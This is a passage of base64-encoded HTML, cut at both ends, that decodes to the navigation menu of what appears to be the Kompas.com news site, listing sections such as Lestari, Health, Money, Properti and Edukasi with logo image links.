mFuZ2tpdC5zdmc/dj0xIiBhbHQ9IkdlbmVyYXNpIEJhbmdraXQiIC8+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgPC91bD4KICAgICAgICA8YSBjbGFzcz0ibmF2U3ViLW1vcmUiIGhyZWY9Ii8iPkxpaGF0IHNlbXVhPC9hPgogICAgPC9saT4KPC91bD48L2E+PGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX2xpbmsgbmF2X19saW5rLS1sZXN0YXJpIj48dWwgaWQ9Imxlc3RhcmlNZW51IiBjbGFzcz0ibmF2X19zdWIgbmF2X19zdWItLWxlc3RhcmkgbmF2U3ViIj48YSBocmVmPSIvIiBjbGFzcz0ibmF2X19saW5rIG5hdl9fbGluay0tbGVzdGFyaSI+CiAgICA8L2E+PGxpIGNsYXNzPSJuYXZTdWItY29sIC0tY29sMSI+PGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fbGluayBuYXZfX2xpbmstLWxlc3RhcmkiPgogICAgICAgIDwvYT48dWwgY2xhc3M9Im5hdlN1Yi1pbm5lciI+PGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fbGluayBuYXZfX2xpbmstLWxlc3RhcmkiPgogICAgICAgICAgICAgICAgPC9hPjxsaT48YSBocmVmPSIvIiBjbGFzcz0ibmF2X19saW5rIG5hdl9fbGluay0tbGVzdGFyaSI+PC9hPjxhIGhyZWY9Ii8iPlBlbWVyaW50YWg8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5Td2FzdGE8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5MU00vRmlndXI8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5CVU1OPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+VU1LTTwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmstLWhvdCI+TnVzYXRpcnRhPC9hPjwvbGk+CiAgICAgICAgPC91bD4KICAgIDwvbGk+CiAgICA8bGkgY2xhc3M9Im5hdlN1Yi1jb2wgLS1jb2wyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJuYXZTdWItc3ViY29sIC0tc3ViY29sIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibmF2U3ViLWdydXAiPjxhIGhyZWY9Ii8iPktlc2VoYXRhbjwvYT48L2Rpdj4KICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZTdWItaW5uZXIiPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPktlaGlkdXBhbiBzZWhhdCBkYW4gc2VqYWh0ZXJhPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+QWlyIGJlcnNpaCBkYW4gc2FuaXRhc2kgbGF5YWs8L2E+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibmF2U3ViLWdydXAiPjxhIGhyZWY9Ii8iPlBlbmRpZGlrYW48L2E+PC9kaXY+CiAgICAgICAgICAgIDx1bCBjbGFzcz0ibmF2U3ViLWlubmVyIj4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5QZW5kaWRpa2FuIEJlcmt1YWxpdGFzPC9hPjwvbGk+CiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdlN1Yi1ncnVwIj48YSBocmVmPSIvIj5MaW5na3VuZ2FuPC9hPjwvZGl2PgogICAgICAgICAgICA8dWwgY2xhc3M9Im5hdlN1Yi1pbm5lciI+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+RW5lcmdpIEJlcnNpaCBkYW4gVGVyamFuZ2thdTwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPlBlbmFuZ2FuYW4gUGVydWJhaGFuIElrbGltPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+RWtvc2lzdGVtIExhdXRhbjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkVrb3Npc3RlbSBEYXJhdGFuPC9hPjwvbGk+CiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0ibmF2U3ViLXN1YmNvbCAtLXN1YmNvbCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdlN1Yi1ncnVwIj48YSBocmVmPSIvIj5Fa29ub21pIGRhbiBVTUtNPC9hPjwvZGl2PgogICAgICAgICAgICA8dWwgY2xhc3M9Im5hdlN1Yi1pbm5lciI+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+VGFucGEgS2VtaXNraW5hbjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPlRhbnBhIEtlbGFwYXJhbjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPktlc2V0YXJhYW4gR2VuZGVyPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+UGVrZXJqYWFuIExheWFrIGRhbiBQZXJ0dW1idWhhbiBla29ub21pPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+SW5kdXN0cmksIElub3Zhc2kgJmFtcDsgSW5mcmFzdHJ1a3R1cjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkJlcmt1cmFuZ255YSBLZXNlbmphbmdhbjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPktvdGEgJmFtcDsgUGVtdWtpbWFuIHlhbmcgQmVya2VsYW5qdXRhbjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPktvbnN1bXNpICZhbXA7IFByb2R1a3NpIHlhbmcgYmVydGFuZ2d1bmdqYXdhYjwvYT48L2xpPgogICAgICAgICAgICA8L3VsPgogICAgICAgIDwvZGl2PgogICAgPC9saT4KICAgIDxsaSBjbGFzcz0ibmF2U3ViLWNvbCAtLWNvbDMiPgogICAgICAgIDxkaXYgY2xhc3M9Im5hdlN1Yi1sYWJlbCI+UFJPR1JBTSBMRVNUQVJJPC9kaXY+CiAgICAgICAgPHVsIGNsYXNzPSJuYXZTdWItaW5uZXIiPgogICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2TGVzdGFyaVByb2dyYW0iPgogICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDIzLzAyLzIxMDkva29tcGFzY29tL2Rlc2t0b3AvaW1hZ2VzL2xlc3RhcmkvbG9nby1qYWdvYW4tbG9rYWwucG5nIiBhbHQ9IkNhbnRpa3ByZW5ldXJzaGlwIiAvPgogICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICA8L2xpPgogICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2TGVzdGFyaVByb2dyYW0iPgogICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDIzLzAyLzIxMDkva29tcGFzY29tL2Rlc2t0b3AvaW1hZ2VzL2xlc3RhcmkvbG9nby1qZXJuaWhrYW4tYnVtaS5wbmciIGFsdD0iSmVybmloa2FuIEJ1bWkiIC8+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZMZXN0YXJpUHJvZ3JhbSI+CiAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjMvMDIvMjEwOS9rb21wYXNjb20vZGVza3RvcC9pbWFnZXMvbGVzdGFyaS9sb2dvLWplcm5paGthbi1oYXJhcGFuLnBuZyIgYWx0PSJKZXJuaWhrYW4gSGFyYXBhbiIgLz4KICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdkxlc3RhcmlQcm9ncmFtIj4KICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyMy8wMi8yMTA5L2tvbXBhc2NvbS9kZXNrdG9wL2ltYWdlcy9sZXN0YXJpL2xvZ28tZmVzdGl2YWwtY2ViYW4ucG5nIiBhbHQ9IkZlc3RpdmFsIENlYmFuIiAvPgogICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICA8L2xpPgogICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2TGVzdGFyaVByb2dyYW0iPiAKICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyMy8wNi8wNy9rb21wYXNjb20vZGVza3RvcC9sZXN0YXJpL2ltYWdlcy9sb2dvX2dhdGVfanVybmFsaXNtZS5wbmciIGFsdD0iSnVybmFsaXNtZSBCZXJrZWJhbmdzYWFuIiAvPgogICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICA8L2xpPgogICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2TGVzdGFyaVByb2dyYW0iPiAKICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyMy8wNi8yMi9rb21wYXNjb20vbW9iaWxlL2xlc3RhcmkvaW1hZ2VzL2xvZ28tZ2VuZXJhc2liYW5na2l0LnN2Zz92PTEiIGFsdD0iR2VuZXJhc2kgQmFuZ2tpdCIgLz4KICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgPC9saT4KICAgICAgICA8L3VsPgogICAgICAgIDxhIGNsYXNzPSJuYXZTdWItbW9yZSIgaHJlZj0iLyI+TGloYXQgc2VtdWE8L2E+CiAgICA8L2xpPgo8L3VsPjwvYT48YSBocmVmPSIvIj5QZW1lcmludGFoPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+U3dhc3RhPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+TFNNL0ZpZ3VyPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+QlVNTjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPlVNS008L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rLS1ob3QiPk51c2F0aXJ0YTwvYT48L2xpPgogICAgICAgIDwvdWw+CiAgICA8L2xpPgogICAgPGxpIGNsYXNzPSJuYXZTdWItY29sIC0tY29sMiI+CiAgICAgICAgPGRpdiBjbGFzcz0ibmF2U3ViLXN1YmNvbCAtLXN1YmNvbCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdlN1Yi1ncnVwIj48YSBocmVmPSIvIj5LZXNlaGF0YW48L2E+PC9kaXY+CiAgICAgICAgICAgIDx1bCBjbGFzcz0ibmF2U3ViLWlubmVyIj4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5LZWhpZHVwYW4gc2VoYXQgZGFuIHNlamFodGVyYTwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkFpciBiZXJzaWggZGFuIHNhbml0YXNpIGxheWFrPC9hPjwvbGk+CiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdlN1Yi1ncnVwIj48YSBocmVmPSIvIj5QZW5kaWRpa2FuPC9hPjwvZGl2PgogICAgICAgICAgICA8dWwgY2xhc3M9Im5hdlN1Yi1pbm5lciI+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+UGVuZGlkaWthbiBCZXJrdWFsaXRhczwvYT48L2xpPgogICAgICAgICAgICA8L3VsPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXZTdWItZ3J1cCI+PGEgaHJlZj0iLyI+TGluZ2t1bmdhbjwvYT48L2Rpdj4KICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZTdWItaW5uZXIiPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkVuZXJnaSBCZXJzaWggZGFuIFRlcmphbmdrYXU8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5QZW5hbmdhbmFuIFBlcnViYWhhbiBJa2xpbTwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkVrb3Npc3RlbSBMYXV0YW48L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5Fa29zaXN0ZW0gRGFyYXRhbjwvYT48L2xpPgogICAgICAgICAgICA8L3VsPgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9Im5hdlN1Yi1zdWJjb2wgLS1zdWJjb2wiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXZTdWItZ3J1cCI+PGEgaHJlZj0iLyI+RWtvbm9taSBkYW4gVU1LTTwvYT48L2Rpdj4KICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZTdWItaW5uZXIiPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPlRhbnBhIEtlbWlza2luYW48L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5UYW5wYSBLZWxhcGFyYW48L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5LZXNldGFyYWFuIEdlbmRlcjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPlBla2VyamFhbiBMYXlhayBkYW4gUGVydHVtYnVoYW4gZWtvbm9taTwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkluZHVzdHJpLCBJbm92YXNpICZhbXA7IEluZnJhc3RydWt0dXI8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5CZXJrdXJhbmdueWEgS2VzZW5qYW5nYW48L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5Lb3RhICZhbXA7IFBlbXVraW1hbiB5YW5nIEJlcmtlbGFuanV0YW48L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5Lb25zdW1zaSAmYW1wOyBQcm9kdWtzaSB5YW5nIGJlcnRhbmdndW5namF3YWI8L2E+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICA8L2Rpdj4KICAgIDwvbGk+CiAgICA8bGkgY2xhc3M9Im5hdlN1Yi1jb2wgLS1jb2wzIj4KICAgICAgICA8ZGl2IGNsYXNzPSJuYXZTdWItbGFiZWwiPlBST0dSQU0gTEVTVEFSSTwvZGl2PgogICAgICAgIDx1bCBjbGFzcz0ibmF2U3ViLWlubmVyIj4KICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdkxlc3RhcmlQcm9ncmFtIj4KICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyMy8wMi8yMTA5L2tvbXBhc2NvbS9kZXNrdG9wL2ltYWdlcy9sZXN0YXJpL2xvZ28tamFnb2FuLWxva2FsLnBuZyIgYWx0PSJDYW50aWtwcmVuZXVyc2hpcCIgLz4KICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdkxlc3RhcmlQcm9ncmFtIj4KICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyMy8wMi8yMTA5L2tvbXBhc2NvbS9kZXNrdG9wL2ltYWdlcy9sZXN0YXJpL2xvZ28tamVybmloa2FuLWJ1bWkucG5nIiBhbHQ9Ikplcm5paGthbiBCdW1pIiAvPgogICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICA8L2xpPgogICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2TGVzdGFyaVByb2dyYW0iPgogICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDIzLzAyLzIxMDkva29tcGFzY29tL2Rlc2t0b3AvaW1hZ2VzL2xlc3RhcmkvbG9nby1qZXJuaWhrYW4taGFyYXBhbi5wbmciIGFsdD0iSmVybmloa2FuIEhhcmFwYW4iIC8+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZMZXN0YXJpUHJvZ3JhbSI+CiAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjMvMDIvMjEwOS9rb21wYXNjb20vZGVza3RvcC9pbWFnZXMvbGVzdGFyaS9sb2dvLWZlc3RpdmFsLWNlYmFuLnBuZyIgYWx0PSJGZXN0aXZhbCBDZWJhbiIgLz4KICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdkxlc3RhcmlQcm9ncmFtIj4gCiAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjMvMDYvMDcva29tcGFzY29tL2Rlc2t0b3AvbGVzdGFyaS9pbWFnZXMvbG9nb19nYXRlX2p1cm5hbGlzbWUucG5nIiBhbHQ9Ikp1cm5hbGlzbWUgQmVya2ViYW5nc2FhbiIgLz4KICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdkxlc3RhcmlQcm9ncmFtIj4gCiAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjMvMDYvMjIva29tcGFzY29tL21vYmlsZS9sZXN0YXJpL2ltYWdlcy9sb2dvLWdlbmVyYXNpYmFuZ2tpdC5zdmc/dj0xIiBhbHQ9IkdlbmVyYXNpIEJhbmdraXQiIC8+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgPC91bD4KICAgICAgICA8YSBjbGFzcz0ibmF2U3ViLW1vcmUiIGhyZWY9Ii8iPkxpaGF0IHNlbXVhPC9hPgogICAgPC9saT4KPC91bD4KICAgIDwvbGk+CiAgICA8bGkgY2xhc3M9Im5hdl9faXRlbSI+CiAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fbGluayBuYXZfX2xpbmstLWhlYWx0aCI+SGVhbHRoPC9hPgogICAgICAgIDx1bCBjbGFzcz0ibmF2X19zdWIgbmF2X19zdWItLWhlYWx0aCI+CiAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2X19zdWJ3cmFwIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdl9fc3ViaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+UGVueWFraXQgQS1aPC9hPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2X19zdWJ3cmFwIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdl9fc3ViaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayBuYXZfX3N1YmxpbmstLWhvdCI+S2lsYXMgS2VzZWhhdGFuPC9hPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgPC91bD4KICAgIDwvbGk+CiAgICA8bGkgY2xhc3M9Im5hdl9faXRlbSI+CiAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fbGluayBuYXZfX2xpbmstLW1vbmV5Ij5Nb25leTwvYT4KICAgICAgICA8dWwgY2xhc3M9Im5hdl9fc3ViIG5hdl9fc3ViLS1tb25leSI+CiAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2X19zdWJ3cmFwIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdl9fc3ViaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+RWtiaXM8L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+S2V1YW5nYW48L2E+ICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5TeWFyaWFoPC9hPiAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+SW5kdXN0cmk8L2E+ICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5FbmVyZ2k8L2E+ICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5LYXJpZXI8L2E+ICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5DdWFuPC9hPiAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+QmVsYW5qYTwvYT4gICAgICAgIAogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXZfX3N1Yml0ZW0iPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmsiPlRhbnlhIFBhamFrPC9hPiAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+SW5kZWtzPC9hPiAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayBuYXZfX3N1YmxpbmstLWhvdCI+S2lsYXMgQmFkYW48L2E+ICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIG5hdl9fc3VibGluay0taG90Ij5LaWxhcyBUcmFuc3BvcnRhc2k8L2E+ICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIG5hdl9fc3VibGluay0taG90Ij5LaWxhcyBGaW50ZWNoPC9hPiAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayBuYXZfX3N1YmxpbmstLWhvdCI+S2lsYXMgUGVyYmFua2FuPC9hPiAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayBuYXZfX3N1YmxpbmstLWhvdCI+S2lsYXMgSW52ZXN0YXNpPC9hPiAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayBuYXZfX3N1YmxpbmstLWhvdCI+VHJhbnNha3NpIERpZ2l0YWw8L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayBuYXZfX3N1YmxpbmstLWhvdCI+SmVqYWsgVU1LTTwvYT4gICAKICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2xpPiAgICAgICAgCiAgICAgICAgPC91bD4KICAgIDwvbGk+CiAgICA8bGkgY2xhc3M9Im5hdl9faXRlbSI+CiAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fbGluayBuYXZfX2xpbmstLXByb3BlcnRpIj5Qcm9wZXJ0aTwvYT4KICAgICAgICA8dWwgY2xhc3M9Im5hdl9fc3ViIG5hdl9fc3ViLS1wcm9wZXJ0aSI+CiAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2X19zdWJ3cmFwIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdl9fc3ViaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+TmV3czwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5MaXN0aW5nIFByb3BlcnRpPC9hPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmsiPkFyc2l0ZWt0dXI8L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+S29uc3RydWtzaTwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5UaXBzIFByb3BlcnRpPC9hPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXZfX3N1Yml0ZW0iPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmsiPklLTjwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5Ib21leTwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5JbmRla3M8L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayBuYXZfX3N1YmxpbmstLWhvdCI+U29yb3QgUHJvcGVydGk8L2E+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9saT4KICAgICAgICA8L3VsPgogICAgPC9saT4KICAgIDxsaSBjbGFzcz0ibmF2X19pdGVtIj4KICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19saW5rIG5hdl9fbGluay0tZWR1a2FzaSI+RWR1a2FzaTwvYT4KICAgICAgICA8dWwgY2xhc3M9Im5hdl9fc3ViIG5hdl9fc3ViLS1lZHVrYXNpIj4KICAgICAgICAgICAgPGxpIGNsYXNzPSJuYXZfX3N1YndyYXAiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibmF2X19zdWJpdGVtIj4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rIj5TZWtvbGFoPC9hPiAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmsiPkVkdSBOZXdzPC9hPiAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmsiPlBlcmd1cnVhbiBUaW5nZ2k8L2E+ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+UGVuZGlkaWthbiBLaHVzdXM8L2E+ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluayI+QmVhc2lzd2E8L2E+ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdl9fc3ViaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3